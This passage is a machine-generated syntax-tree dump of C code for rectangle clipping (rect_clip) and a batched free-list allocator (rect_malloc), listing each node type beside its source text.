";" (}) "}" (while) "while" (parenthesized_expression) "(temp2)" (() "(" (identifier) "temp2" ()) ")" (;) ";" (}) "}" (expression_statement) "temp3 = rlist;" (assignment_expression) "temp3 = rlist" (identifier) "temp3" (=) "=" (identifier) "rlist" (;) ";" (expression_statement) "rlist = (*pCur);" (assignment_expression) "rlist = (*pCur)" (identifier) "rlist" (=) "=" (parenthesized_expression) "(*pCur)" (() "(" (pointer_expression) "*pCur" (*) "*" (identifier) "pCur" ()) ")" (;) ";" (expression_statement) "(*pCur)->next = temp3;" (assignment_expression) "(*pCur)->next = temp3" (field_expression) "(*pCur)->next" (parenthesized_expression) "(*pCur)" (() "(" (pointer_expression) "*pCur" (*) "*" (identifier) "pCur" ()) ")" (->) "->" (field_identifier) "next" (=) "=" (identifier) "temp3" (;) ";" (expression_statement) "(*pCur) = cur;" (assignment_expression) "(*pCur) = cur" (parenthesized_expression) "(*pCur)" (() "(" (pointer_expression) "*pCur" (*) "*" (identifier) "pCur" ()) ")" (=) "=" (identifier) "cur" (;) ";" (}) "}" (while) "while" (parenthesized_expression) "(cur)" (() "(" (identifier) "cur" ()) ")" (;) ";" (}) "}" (expression_statement) "*pCur = temp;" (assignment_expression) "*pCur = temp" (pointer_expression) "*pCur" (*) "*" (identifier) "pCur" (=) "=" (identifier) "temp" (;) ";" (}) "}" (function_definition) "RectPtr rect_clip(Rect *b, Rect *t) { \n Rect rect[4]; \n Rect clipped; \n RectPtr ptr; \n \n ptr = NULL; \n if (rect_inside_bound(t, b, &clipped)) { \n ptr = rect_malloc(); \n if (ptr) { \n ptr->r = *b; \n ptr->next = NULL; \n } \n } else { \n rect[0].ulx = b->ulx; \n rect[0].uly = b->uly; \n rect[0].lrx = b->lrx; \n rect[0].lry = clipped.uly - 1; \n \n rect[1].ulx = b->ulx; \n rect[1].uly = clipped.uly; \n rect[1].lrx = clipped.ulx - 1; \n rect[1].lry = clipped.lry; \n \n rect[2].ulx = clipped.lrx + 1; \n rect[2].uly = clipped.uly; \n rect[2].lrx = b->lrx; \n rect[2].lry = clipped.lry; \n \n rect[3].ulx = b->ulx; \n rect[3].uly = clipped.lry + 1; \n rect[3].lrx = b->lrx; \n rect[3].lry = b->lry; \n \n { \n RectPtr *rect_ptr; \n rect_ptr = &ptr; \n int i = 0; \n \n do { \n if (rect[i].ulx <= rect[i].lrx && rect[i].uly <= rect[i].lry) { \n *rect_ptr = rect_malloc(); \n if (*rect_ptr == NULL) { \n return NULL; \n } \n \n (*rect_ptr)->r.ulx = rect[i].ulx; \n (*rect_ptr)->r.uly = rect[i].uly; \n (*rect_ptr)->r.lrx = rect[i].lrx; \n (*rect_ptr)->r.lry = rect[i].lry; \n \n (*rect_ptr)->next = NULL; \n rect_ptr = &(*rect_ptr)->next; \n } \n ++i; \n } while (i < 4); \n } \n } \n \n return ptr; \n}" (type_identifier) "RectPtr" (function_declarator) "rect_clip(Rect *b, Rect *t)" (identifier) "rect_clip" (parameter_list) "(Rect *b, Rect *t)" (() "(" (parameter_declaration) "Rect *b" (type_identifier) "Rect" (pointer_declarator) "*b" (*) "*" (identifier) "b" (,) "," (parameter_declaration) "Rect *t" (type_identifier) "Rect" (pointer_declarator) "*t" (*) "*" (identifier) "t" ()) ")" (compound_statement) "{ \n Rect rect[4]; \n Rect clipped; \n RectPtr ptr; \n \n ptr = NULL; \n if (rect_inside_bound(t, b, &clipped)) { \n ptr = rect_malloc(); \n if (ptr) { \n ptr->r = *b; \n ptr->next = NULL; \n } \n } else { \n rect[0].ulx = b->ulx; \n rect[0].uly = b->uly; \n rect[0].lrx = b->lrx; \n rect[0].lry = clipped.uly - 1; \n \n rect[1].ulx = b->ulx; \n rect[1].uly = clipped.uly; \n rect[1].lrx = clipped.ulx - 1; \n rect[1].lry = clipped.lry; \n \n rect[2].ulx = clipped.lrx + 1; \n rect[2].uly = clipped.uly; \n rect[2].lrx = b->lrx; \n rect[2].lry = clipped.lry; \n \n rect[3].ulx = b->ulx; \n rect[3].uly = clipped.lry + 1; \n rect[3].lrx = b->lrx; \n rect[3].lry = b->lry; \n \n { \n RectPtr *rect_ptr; \n rect_ptr = &ptr; \n int i = 0; \n \n do { \n if (rect[i].ulx <= rect[i].lrx && rect[i].uly <= rect[i].lry) { \n *rect_ptr = rect_malloc(); \n if (*rect_ptr == NULL) { \n return NULL; \n } \n \n (*rect_ptr)->r.ulx = rect[i].ulx; \n (*rect_ptr)->r.uly = rect[i].uly; \n (*rect_ptr)->r.lrx = rect[i].lrx; \n (*rect_ptr)->r.lry = rect[i].lry; \n \n (*rect_ptr)->next = NULL; \n rect_ptr = &(*rect_ptr)->next; \n } \n ++i; \n } while (i < 4); \n } \n } \n \n return ptr; \n}" ({) "{" (declaration) "Rect rect[4];" (type_identifier) "Rect" (array_declarator) "rect[4]" (identifier) "rect" ([) "[" (number_literal) "4" (]) "]" (;) ";" (declaration) "Rect clipped;" (type_identifier) "Rect" (identifier) "clipped" (;) ";" (declaration) "RectPtr ptr;" (type_identifier) "RectPtr" (identifier) "ptr" (;) ";" (expression_statement) "ptr = NULL;" (assignment_expression) "ptr = NULL" (identifier) "ptr" (=) "=" (null) "NULL" (NULL) "NULL" (;) ";" (if_statement) "if (rect_inside_bound(t, b, &clipped)) { \n ptr = rect_malloc(); \n if (ptr) { \n ptr->r = *b; \n ptr->next = NULL; \n } \n } else { \n rect[0].ulx = b->ulx; \n rect[0].uly = b->uly; \n rect[0].lrx = b->lrx; \n rect[0].lry = clipped.uly - 1; \n \n rect[1].ulx = b->ulx; \n rect[1].uly = clipped.uly; \n rect[1].lrx = clipped.ulx - 1; \n rect[1].lry = clipped.lry; \n \n rect[2].ulx = clipped.lrx + 1; \n rect[2].uly = clipped.uly; \n rect[2].lrx = b->lrx; \n rect[2].lry = clipped.lry; \n \n rect[3].ulx = b->ulx; \n rect[3].uly = clipped.lry + 1; \n rect[3].lrx = b->lrx; \n rect[3].lry = b->lry; \n \n { \n RectPtr *rect_ptr; \n rect_ptr = &ptr; \n int i = 0; \n \n do { \n if (rect[i].ulx <= rect[i].lrx && rect[i].uly <= rect[i].lry) { \n *rect_ptr = rect_malloc(); \n if (*rect_ptr == NULL) { \n return NULL; \n } \n \n (*rect_ptr)->r.ulx = rect[i].ulx; \n (*rect_ptr)->r.uly = rect[i].uly; \n (*rect_ptr)->r.lrx = rect[i].lrx; \n (*rect_ptr)->r.lry = rect[i].lry; \n \n (*rect_ptr)->next = NULL; \n rect_ptr = &(*rect_ptr)->next; \n } \n ++i; \n } while (i < 4); \n } \n }" (if) "if" (parenthesized_expression) "(rect_inside_bound(t, b, &clipped))" (() "(" (call_expression) "rect_inside_bound(t, b, &clipped)" (identifier) "rect_inside_bound" (argument_list) "(t, b, &clipped)" (() "(" (identifier) "t" (,) "," (identifier) "b" (,) "," (pointer_expression) "&clipped" (&) "&" (identifier) "clipped" ()) ")" ()) ")" (compound_statement) "{ \n ptr = rect_malloc(); \n if (ptr) { \n ptr->r = *b; \n ptr->next = NULL; \n } \n }" ({) "{" (expression_statement) "ptr = rect_malloc();" (assignment_expression) "ptr = rect_malloc()" (identifier) "ptr" (=) "=" (call_expression) "rect_malloc()" (identifier) "rect_malloc" (argument_list) "()" (() "(" ()) ")" (;) ";" (if_statement) "if (ptr) { \n ptr->r = *b; \n ptr->next = NULL; \n }" (if) "if" (parenthesized_expression) "(ptr)" (() "(" (identifier) "ptr" ()) ")" (compound_statement) "{ \n ptr->r = *b; \n ptr->next = NULL; \n }" ({) "{" (expression_statement) "ptr->r = *b;" (assignment_expression) "ptr->r = *b" (field_expression) "ptr->r" (identifier) "ptr" (->) "->" (field_identifier) "r" (=) "=" (pointer_expression) "*b" (*) "*" (identifier) "b" (;) ";" (expression_statement) "ptr->next = NULL;" (assignment_expression) "ptr->next = NULL" (field_expression) "ptr->next" (identifier) "ptr" (->) "->" (field_identifier) "next" (=) "=" (null) "NULL" (NULL) "NULL" (;) ";" (}) "}" (}) "}" (else_clause) "else { \n rect[0].ulx = b->ulx; \n rect[0].uly = b->uly; \n rect[0].lrx = b->lrx; \n rect[0].lry = clipped.uly - 1; \n \n rect[1].ulx = b->ulx; \n rect[1].uly = clipped.uly; \n rect[1].lrx = clipped.ulx - 1; \n rect[1].lry = clipped.lry; \n \n rect[2].ulx = clipped.lrx + 1; \n rect[2].uly = clipped.uly; \n rect[2].lrx = b->lrx; \n rect[2].lry = clipped.lry; \n \n rect[3].ulx = b->ulx; \n rect[3].uly = clipped.lry + 1; \n rect[3].lrx = b->lrx; \n rect[3].lry = b->lry; \n \n { \n RectPtr *rect_ptr; \n rect_ptr = &ptr; \n int i = 0; \n \n do { \n if (rect[i].ulx <= rect[i].lrx && rect[i].uly <= rect[i].lry) { \n *rect_ptr = rect_malloc(); \n if (*rect_ptr == NULL) { \n return NULL; \n } \n \n (*rect_ptr)->r.ulx = rect[i].ulx; \n (*rect_ptr)->r.uly = rect[i].uly; \n (*rect_ptr)->r.lrx = rect[i].lrx; \n (*rect_ptr)->r.lry = rect[i].lry; \n \n (*rect_ptr)->next = NULL; \n rect_ptr = &(*rect_ptr)->next; \n } \n ++i; \n } while (i < 4); \n } \n }" (else) "else" (compound_statement) "{ \n rect[0].ulx = b->ulx; \n rect[0].uly = b->uly; \n rect[0].lrx = b->lrx; \n rect[0].lry = clipped.uly - 1; \n \n rect[1].ulx = b->ulx; \n rect[1].uly = clipped.uly; \n rect[1].lrx = clipped.ulx - 1; \n rect[1].lry = clipped.lry; \n \n rect[2].ulx = clipped.lrx + 1; \n rect[2].uly = clipped.uly; \n rect[2].lrx = b->lrx; \n rect[2].lry = clipped.lry; \n \n rect[3].ulx = b->ulx; \n rect[3].uly = clipped.lry + 1; \n rect[3].lrx = b->lrx; \n rect[3].lry = b->lry; \n \n { \n RectPtr *rect_ptr; \n rect_ptr = &ptr; \n int i = 0; \n \n do { \n if (rect[i].ulx <= rect[i].lrx && rect[i].uly <= rect[i].lry) { \n *rect_ptr = rect_malloc(); \n if (*rect_ptr == NULL) { \n return NULL; \n } \n \n (*rect_ptr)->r.ulx = rect[i].ulx; \n (*rect_ptr)->r.uly = rect[i].uly; \n (*rect_ptr)->r.lrx = rect[i].lrx; \n (*rect_ptr)->r.lry = rect[i].lry; \n \n (*rect_ptr)->next = NULL; \n rect_ptr = &(*rect_ptr)->next; \n } \n ++i; \n } while (i < 4); \n } \n }" ({) "{" (expression_statement) "rect[0].ulx = b->ulx;" (assignment_expression) "rect[0].ulx = b->ulx" (field_expression) "rect[0].ulx" (subscript_expression) "rect[0]" (identifier) "rect" ([) "[" (number_literal) "0" (]) "]" (.) "." (field_identifier) "ulx" (=) "=" (field_expression) "b->ulx" (identifier) "b" (->) "->" (field_identifier) "ulx" (;) ";" (expression_statement) "rect[0].uly = b->uly;" (assignment_expression) "rect[0].uly = b->uly" (field_expression) "rect[0].uly" (subscript_expression) "rect[0]" (identifier) "rect" ([) "[" (number_literal) "0" (]) "]" (.) "." (field_identifier) "uly" (=) "=" (field_expression) "b->uly" (identifier) "b" (->) "->" (field_identifier) "uly" (;) ";" (expression_statement) "rect[0].lrx = b->lrx;" (assignment_expression) "rect[0].lrx = b->lrx" (field_expression) "rect[0].lrx" (subscript_expression) "rect[0]" (identifier) "rect" ([) "[" (number_literal) "0" (]) "]" (.) "." (field_identifier) "lrx" (=) "=" (field_expression) "b->lrx" (identifier) "b" (->) "->" (field_identifier) "lrx" (;) ";" (expression_statement) "rect[0].lry = clipped.uly - 1;" (assignment_expression) "rect[0].lry = clipped.uly - 1" (field_expression) "rect[0].lry" (subscript_expression) "rect[0]" (identifier) "rect" ([) "[" (number_literal) "0" (]) "]" (.) "." (field_identifier) "lry" (=) "=" (binary_expression) "clipped.uly - 1" (field_expression) "clipped.uly" (identifier) "clipped" (.) "." (field_identifier) "uly" (-) "-" (number_literal) "1" (;) ";" (expression_statement) "rect[1].ulx = b->ulx;" (assignment_expression) "rect[1].ulx = b->ulx" (field_expression) "rect[1].ulx" (subscript_expression) "rect[1]" (identifier) "rect" ([) "[" (number_literal) "1" (]) "]" (.) "." (field_identifier) "ulx" (=) "=" (field_expression) "b->ulx" (identifier) "b" (->) "->" (field_identifier) "ulx" (;) ";" (expression_statement) "rect[1].uly = clipped.uly;" (assignment_expression) "rect[1].uly = clipped.uly" (field_expression) "rect[1].uly" (subscript_expression) "rect[1]" (identifier) "rect" ([) "[" (number_literal) "1" (]) "]" (.) "." (field_identifier) "uly" (=) "=" (field_expression) "clipped.uly" (identifier) "clipped" (.) "." (field_identifier) "uly" (;) ";" (expression_statement) "rect[1].lrx = clipped.ulx - 1;" (assignment_expression) "rect[1].lrx = clipped.ulx - 1" (field_expression) "rect[1].lrx" (subscript_expression) "rect[1]" (identifier) "rect" ([) "[" (number_literal) "1" (]) "]" (.) "." (field_identifier) "lrx" (=) "=" (binary_expression) "clipped.ulx - 1" (field_expression) "clipped.ulx" (identifier) "clipped" (.) "." (field_identifier) "ulx" (-) "-" (number_literal) "1" (;) ";" (expression_statement) "rect[1].lry = clipped.lry;" (assignment_expression) "rect[1].lry = clipped.lry" (field_expression) "rect[1].lry" (subscript_expression) "rect[1]" (identifier) "rect" ([) "[" (number_literal) "1" (]) "]" (.) "." (field_identifier) "lry" (=) "=" (field_expression) "clipped.lry" (identifier) "clipped" (.) "." (field_identifier) "lry" (;) ";" (expression_statement) "rect[2].ulx = clipped.lrx + 1;" (assignment_expression) "rect[2].ulx = clipped.lrx + 1" (field_expression) "rect[2].ulx" (subscript_expression) "rect[2]" (identifier) "rect" ([) "[" (number_literal) "2" (]) "]" (.) "." (field_identifier) "ulx" (=) "=" (binary_expression) "clipped.lrx + 1" (field_expression) "clipped.lrx" (identifier) "clipped" (.) "." (field_identifier) "lrx" (+) "+" (number_literal) "1" (;) ";" (expression_statement) "rect[2].uly = clipped.uly;" (assignment_expression) "rect[2].uly = clipped.uly" (field_expression) "rect[2].uly" (subscript_expression) "rect[2]" (identifier) "rect" ([) "[" (number_literal) "2" (]) "]" (.) "." (field_identifier) "uly" (=) "=" (field_expression) "clipped.uly" (identifier) "clipped" (.) "." (field_identifier) "uly" (;) ";" (expression_statement) "rect[2].lrx = b->lrx;" (assignment_expression) "rect[2].lrx = b->lrx" (field_expression) "rect[2].lrx" (subscript_expression) "rect[2]" (identifier) "rect" ([) "[" (number_literal) "2" (]) "]" (.) "." (field_identifier) "lrx" (=) "=" (field_expression) "b->lrx" (identifier) "b" (->) "->" (field_identifier) "lrx" (;) ";" (expression_statement) "rect[2].lry = clipped.lry;" (assignment_expression) "rect[2].lry = clipped.lry" (field_expression) "rect[2].lry" (subscript_expression) "rect[2]" (identifier) "rect" ([) "[" (number_literal) "2" (]) "]" (.) "." (field_identifier) "lry" (=) "=" (field_expression) "clipped.lry" (identifier) "clipped" (.) "." (field_identifier) "lry" (;) ";" (expression_statement) "rect[3].ulx = b->ulx;" (assignment_expression) "rect[3].ulx = b->ulx" (field_expression) "rect[3].ulx" (subscript_expression) "rect[3]" (identifier) "rect" ([) "[" (number_literal) "3" (]) "]" (.) "." (field_identifier) "ulx" (=) "=" (field_expression) "b->ulx" (identifier) "b" (->) "->" (field_identifier) "ulx" (;) ";" (expression_statement) "rect[3].uly = clipped.lry + 1;" (assignment_expression) "rect[3].uly = clipped.lry + 1" (field_expression) "rect[3].uly" (subscript_expression) "rect[3]" (identifier) "rect" ([) "[" (number_literal) "3" (]) "]" (.) "." (field_identifier) "uly" (=) "=" (binary_expression) "clipped.lry + 1" (field_expression) "clipped.lry" (identifier) "clipped" (.) "." (field_identifier) "lry" (+) "+" (number_literal) "1" (;) ";" (expression_statement) "rect[3].lrx = b->lrx;" (assignment_expression) "rect[3].lrx = b->lrx" (field_expression) "rect[3].lrx" (subscript_expression) "rect[3]" (identifier) "rect" ([) "[" (number_literal) "3" (]) "]" (.) "." (field_identifier) "lrx" (=) "=" (field_expression) "b->lrx" (identifier) "b" (->) "->" (field_identifier) "lrx" (;) ";" (expression_statement) "rect[3].lry = b->lry;" (assignment_expression) "rect[3].lry = b->lry" (field_expression) "rect[3].lry" (subscript_expression) "rect[3]" (identifier) "rect" ([) "[" (number_literal) "3" (]) "]" (.) "." (field_identifier) "lry" (=) "=" (field_expression) "b->lry" (identifier) "b" (->) "->" (field_identifier) "lry" (;) ";" (compound_statement) "{ \n RectPtr *rect_ptr; \n rect_ptr = &ptr; \n int i = 0; \n \n do { \n if (rect[i].ulx <= rect[i].lrx && rect[i].uly <= rect[i].lry) { \n *rect_ptr = rect_malloc(); \n if (*rect_ptr == NULL) { \n return NULL; \n } \n \n (*rect_ptr)->r.ulx = rect[i].ulx; \n (*rect_ptr)->r.uly = rect[i].uly; \n (*rect_ptr)->r.lrx = rect[i].lrx; \n (*rect_ptr)->r.lry = rect[i].lry; \n \n (*rect_ptr)->next = NULL; \n rect_ptr = &(*rect_ptr)->next; \n } \n ++i; \n } while (i < 4); \n }" ({) "{" (declaration) "RectPtr *rect_ptr;" (type_identifier) "RectPtr" (pointer_declarator) "*rect_ptr" (*) "*" (identifier) "rect_ptr" (;) ";" (expression_statement) "rect_ptr = &ptr;" (assignment_expression) "rect_ptr = &ptr" (identifier) "rect_ptr" (=) "=" (pointer_expression) "&ptr" (&) "&" (identifier) "ptr" (;) ";" (declaration) "int i = 0;" (primitive_type) "int" (init_declarator) "i = 0" (identifier) "i" (=) "=" (number_literal) "0" (;) ";" (do_statement) "do { \n if (rect[i].ulx <= rect[i].lrx && rect[i].uly <= rect[i].lry) { \n *rect_ptr = rect_malloc(); \n if (*rect_ptr == NULL) { \n return NULL; \n } \n \n (*rect_ptr)->r.ulx = rect[i].ulx; \n (*rect_ptr)->r.uly = rect[i].uly; \n (*rect_ptr)->r.lrx = rect[i].lrx; \n (*rect_ptr)->r.lry = rect[i].lry; \n \n (*rect_ptr)->next = NULL; \n rect_ptr = &(*rect_ptr)->next; \n } \n ++i; \n } while (i < 4);" (do) "do" (compound_statement) "{ \n if (rect[i].ulx <= rect[i].lrx && rect[i].uly <= rect[i].lry) { \n *rect_ptr = rect_malloc(); \n if (*rect_ptr == NULL) { \n return NULL; \n } \n \n (*rect_ptr)->r.ulx = rect[i].ulx; \n (*rect_ptr)->r.uly = rect[i].uly; \n (*rect_ptr)->r.lrx = rect[i].lrx; \n (*rect_ptr)->r.lry = rect[i].lry; \n \n (*rect_ptr)->next = NULL; \n rect_ptr = &(*rect_ptr)->next; \n } \n ++i; \n }" ({) "{" (if_statement) "if (rect[i].ulx <= rect[i].lrx && rect[i].uly <= rect[i].lry) { \n *rect_ptr = rect_malloc(); \n if (*rect_ptr == NULL) { \n return NULL; \n } \n \n (*rect_ptr)->r.ulx = rect[i].ulx; \n (*rect_ptr)->r.uly = rect[i].uly; \n (*rect_ptr)->r.lrx = rect[i].lrx; \n (*rect_ptr)->r.lry = rect[i].lry; \n \n (*rect_ptr)->next = NULL; \n rect_ptr = &(*rect_ptr)->next; \n }" (if) "if" (parenthesized_expression) "(rect[i].ulx <= rect[i].lrx && rect[i].uly <= rect[i].lry)" (() "(" (binary_expression) "rect[i].ulx <= rect[i].lrx && rect[i].uly <= rect[i].lry" (binary_expression) "rect[i].ulx <= rect[i].lrx" (field_expression) "rect[i].ulx" (subscript_expression) "rect[i]" (identifier) "rect" ([) "[" (identifier) "i" (]) "]" (.) "." (field_identifier) "ulx" (<=) "<=" (field_expression) "rect[i].lrx" (subscript_expression) "rect[i]" (identifier) "rect" ([) "[" (identifier) "i" (]) "]" (.) "." (field_identifier) "lrx" (&&) "&&" (binary_expression) "rect[i].uly <= rect[i].lry" (field_expression) "rect[i].uly" (subscript_expression) "rect[i]" (identifier) "rect" ([) "[" (identifier) "i" (]) "]" (.) "." (field_identifier) "uly" (<=) "<=" (field_expression) "rect[i].lry" (subscript_expression) "rect[i]" (identifier) "rect" ([) "[" (identifier) "i" (]) "]" (.) "." (field_identifier) "lry" ()) ")" (compound_statement) "{ \n *rect_ptr = rect_malloc(); \n if (*rect_ptr == NULL) { \n return NULL; \n } \n \n (*rect_ptr)->r.ulx = rect[i].ulx; \n (*rect_ptr)->r.uly = rect[i].uly; \n (*rect_ptr)->r.lrx = rect[i].lrx; \n (*rect_ptr)->r.lry = rect[i].lry; \n \n (*rect_ptr)->next = NULL; \n rect_ptr = &(*rect_ptr)->next; \n }" ({) "{" (expression_statement) "*rect_ptr = rect_malloc();" (assignment_expression) "*rect_ptr = rect_malloc()" (pointer_expression) "*rect_ptr" (*) "*" (identifier) "rect_ptr" (=) "=" (call_expression) "rect_malloc()" (identifier) "rect_malloc" (argument_list) "()" (() "(" ()) ")" (;) ";" (if_statement) "if (*rect_ptr == NULL) { \n return NULL; \n }" (if) "if" (parenthesized_expression) "(*rect_ptr == NULL)" (() "(" (binary_expression) "*rect_ptr == NULL" (pointer_expression) "*rect_ptr" (*) "*" (identifier) "rect_ptr" (==) "==" (null) "NULL" (NULL) "NULL" ()) ")" (compound_statement) "{ \n return NULL; \n }" ({) "{" (return_statement) "return NULL;" (return) "return" (null) "NULL" (NULL) "NULL" (;) ";" (}) "}" (expression_statement) "(*rect_ptr)->r.ulx = rect[i].ulx;" (assignment_expression) "(*rect_ptr)->r.ulx = rect[i].ulx" (field_expression) "(*rect_ptr)->r.ulx" (field_expression) "(*rect_ptr)->r" (parenthesized_expression) "(*rect_ptr)" (() "(" (pointer_expression) "*rect_ptr" (*) "*" (identifier) "rect_ptr" ()) ")" (->) "->" (field_identifier) "r" (.) "." (field_identifier) "ulx" (=) "=" (field_expression) "rect[i].ulx" (subscript_expression) "rect[i]" (identifier) "rect" ([) "[" (identifier) "i" (]) "]" (.) "." (field_identifier) "ulx" (;) ";" (expression_statement) "(*rect_ptr)->r.uly = rect[i].uly;" (assignment_expression) "(*rect_ptr)->r.uly = rect[i].uly" (field_expression) "(*rect_ptr)->r.uly" (field_expression) "(*rect_ptr)->r" (parenthesized_expression) "(*rect_ptr)" (() "(" (pointer_expression) "*rect_ptr" (*) "*" (identifier) "rect_ptr" ()) ")" (->) "->" (field_identifier) "r" (.) "." (field_identifier) "uly" (=) "=" (field_expression) "rect[i].uly" (subscript_expression) "rect[i]" (identifier) "rect" ([) "[" (identifier) "i" (]) "]" (.) "." (field_identifier) "uly" (;) ";" (expression_statement) "(*rect_ptr)->r.lrx = rect[i].lrx;" (assignment_expression) "(*rect_ptr)->r.lrx = rect[i].lrx" (field_expression) "(*rect_ptr)->r.lrx" (field_expression) "(*rect_ptr)->r" (parenthesized_expression) "(*rect_ptr)" (() "(" (pointer_expression) "*rect_ptr" (*) "*" (identifier) "rect_ptr" ()) ")" (->) "->" (field_identifier) "r" (.) "." (field_identifier) "lrx" (=) "=" (field_expression) "rect[i].lrx" (subscript_expression) "rect[i]" (identifier) "rect" ([) "[" (identifier) "i" (]) "]" (.) "." (field_identifier) "lrx" (;) ";" (expression_statement) "(*rect_ptr)->r.lry = rect[i].lry;" (assignment_expression) "(*rect_ptr)->r.lry = rect[i].lry" (field_expression) "(*rect_ptr)->r.lry" (field_expression) "(*rect_ptr)->r" (parenthesized_expression) "(*rect_ptr)" (() "(" (pointer_expression) "*rect_ptr" (*) "*" (identifier) "rect_ptr" ()) ")" (->) "->" (field_identifier) "r" (.) "." (field_identifier) "lry" (=) "=" (field_expression) "rect[i].lry" (subscript_expression) "rect[i]" (identifier) "rect" ([) "[" (identifier) "i" (]) "]" (.) "." (field_identifier) "lry" (;) ";" (expression_statement) "(*rect_ptr)->next = NULL;" (assignment_expression) "(*rect_ptr)->next = NULL" (field_expression) "(*rect_ptr)->next" (parenthesized_expression) "(*rect_ptr)" (() "(" (pointer_expression) "*rect_ptr" (*) "*" (identifier) "rect_ptr" ()) ")" (->) "->" (field_identifier) "next" (=) "=" (null) "NULL" (NULL) "NULL" (;) ";" (expression_statement) "rect_ptr = &(*rect_ptr)->next;" (assignment_expression) "rect_ptr = &(*rect_ptr)->next" (identifier) "rect_ptr" (=) "=" (pointer_expression) "&(*rect_ptr)->next" (&) "&" (field_expression) "(*rect_ptr)->next" (parenthesized_expression) "(*rect_ptr)" (() "(" (pointer_expression) "*rect_ptr" (*) "*" (identifier) "rect_ptr" ()) ")" (->) "->" (field_identifier) "next" (;) ";" (}) "}" (expression_statement) "++i;" (update_expression) "++i" (++) "++" (identifier) "i" (;) ";" (}) "}" (while) "while" (parenthesized_expression) "(i < 4)" (() "(" (binary_expression) "i < 4" (identifier) "i" (<) "<" (number_literal) "4" ()) ")" (;) ";" (}) "}" (}) "}" (return_statement) "return ptr;" (return) "return" (identifier) "ptr" (;) ";" (}) "}" (function_definition) "RectPtr rect_malloc(void) { \n RectPtr ptr; \n \n if (!rlist) { \n int i = 0; \n \n do { \n ptr = (RectPtr)malloc(sizeof(struct rectdata)); \n if (!ptr) { \n break; \n } else { \n RectPtr temp; \n \n temp = rlist; \n rlist = ptr; \n ptr->next = temp; \n i++; \n } \n } while (i < 10); \n } \n \n if (rlist) { \n ptr = rlist; \n rlist = rlist->next; \n } else { \n ptr = 0; \n } \n \n return ptr; \n}" (type_identifier) "RectPtr" (function_declarator) "rect_malloc(void)" (identifier) "rect_malloc" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (compound_statement) "{ \n RectPtr ptr; \n \n if (!rlist) { \n int i = 0; \n \n do { \n ptr = (RectPtr)malloc(sizeof(struct rectdata)); \n if (!ptr) { \n break; \n } else { \n RectPtr temp; \n \n temp = rlist; \n rlist = ptr; \n ptr->next = temp; \n i++; \n } \n } while (i < 10); \n } \n \n if (rlist) { \n ptr = rlist; \n rlist = rlist->next; \n } else { \n ptr = 0; \n } \n \n return ptr; \n}" ({) "{" (declaration) "RectPtr ptr;" (type_identifier) "RectPtr" (identifier) "ptr" (;) ";" (if_statement) "if (!rlist) { \n int i = 0; \n \n do { \n ptr = (RectPtr)malloc(sizeof(struct rectdata)); \n if (!ptr) { \n break; \n } else { \n RectPtr temp; \n \n temp = rlist; \n rlist = ptr; \n ptr->next = temp; \n i++; \n } \n } while (i < 10); \n }" (if) "if" (parenthesized_expression) "(!rlist)" (() "(" (unary_expression) "!rlist" (!) "!" (identifier) "rlist" ()) ")" (compound_statement) "{ \n int i = 0; \n \n do { \n ptr = (RectPtr)malloc(sizeof(struct rectdata)); \n if (!ptr) { \n break; \n } else { \n RectPtr temp; \n \n temp = rlist; \n rlist = ptr; \n ptr->next = temp; \n i++; \n } \n } while (i < 10); \n }" ({) "{" (declaration) "int i = 0;" (primitive_type) "int" (init_declarator) "i = 0" (identifier) "i" (=) "=" (number_literal) "0" (;) ";" (do_statement) "do { \n ptr = (RectPtr)malloc(sizeof(struct rectdata)); \n if (!ptr) { \n break; \n } else { \n RectPtr temp; \n \n temp = rlist; \n rlist = ptr; \n ptr->next = temp; \n i++; \n } \n } while (i < 10);" (do) "do" (compound_statement) "{ \n ptr = (RectPtr)malloc(sizeof(struct rectdata)); \n if (!ptr) { \n break; \n } else { \n RectPtr temp; \n \n temp = rlist; \n rlist = ptr; \n ptr->next = temp; \n i++; \n } \n }" ({) "{" (expression_statement) "ptr = (RectPtr)malloc(sizeof(struct rectdata));" (assignment_expression) "ptr = (RectPtr)malloc(sizeof(struct rectdata))" (identifier) "ptr" (=) "=" (cast_expression) "(RectPtr)malloc(sizeof(struct rectdata))" (() "(" (type_descriptor) "RectPtr" (type_identifier) "RectPtr" ()) ")" (call_expression) "malloc(sizeof(struct rectdata))" (identifier) "malloc" (argument_list) "(sizeof(struct rectdata))" (() "(" (sizeof_expression) "sizeof(struct rectdata)" (sizeof) "sizeof" (() "(" (type_descriptor) "struct rectdata" (struct_specifier) "struct rectdata" (struct) "struct" (type_identifier) "rectdata" ()) ")" ()) ")" (;) ";" (if_statement) "if (!ptr) { \n break; \n } else { \n RectPtr temp; \n \n temp = rlist; \n rlist = ptr; \n ptr->next = temp; \n i++; \n }" (if) "if" (parenthesized_expression) "(!ptr)" (() "(" (unary_expression) "!ptr" (!) "!" (identifier) "ptr" ()) ")" (compound_statement) "{ \n break; \n }" ({) "{" (break_statement) "break;" (break) "break" (;) ";" (}) "}" (else_clause) "else { \n RectPtr temp; \n \n temp = rlist; \n rlist = ptr; \n ptr->next = temp; \n i++; \n }" (else) "else" (compound_statement) "{ \n RectPtr temp; \n \n temp = rlist; \n rlist = ptr; \n ptr->next = temp; \n i++; \n }" ({) "{" (declaration) "RectPtr temp;" (type_identifier) "RectPtr" (identifier) "temp" (;) ";" (expression_statement) "temp = rlist;" (assignment_expression) "temp = rlist" (identifier) "temp" (=) "=" (identifier) "rlist" (;) ";" (expression_statement) "rlist = ptr;" (assignment_expression) "rlist = ptr" (identifier) "rlist" (=) "=" (identifier) "ptr" (;) ";" (expression_statement) "ptr->next = temp;" (assignment_expression) "ptr->next = temp" (field_expression) "ptr->next" (identifier) "ptr" (->) "->" (field_identifier) "next" (=) "=" (identifier) "temp" (;) ";" (expression_statement) "i++;" (update_expression) "i++" (identifier) "i" (++) "++" (;) ";" (}) "}" (}) "}" (while) "while" (parenthesized_expression) "(i < 10)" (() "(" (binary_expression) "i < 10" (identifier) "i" (<) "<" (number_literal) "10" ()) ")" (;) ";" (}) "}" (if_statement) "if (rlist) { \n ptr = rlist; \n rlist = rlist->next; \n } else { \n ptr = 0; \n }" (if) "if" (parenthesized_expression) "(rlist)" (() "(" (identifier) "rlist" ()) ")" (compound_statement) "{ \n ptr = rlist; \n rlist = rlist->next; \n }" ({) "{" (expression_statement) "ptr = rlist;" (assignment_expression) "ptr = rlist" (identifier) "ptr" (=) "=" (identifier) "rlist" (;) ";" (expression_statement) "rlist = rlist->next;" (assignment_expression) "rlist = rlist->next" (identifier) "rlist" (=) "=" (field_expression) "rlist->next" 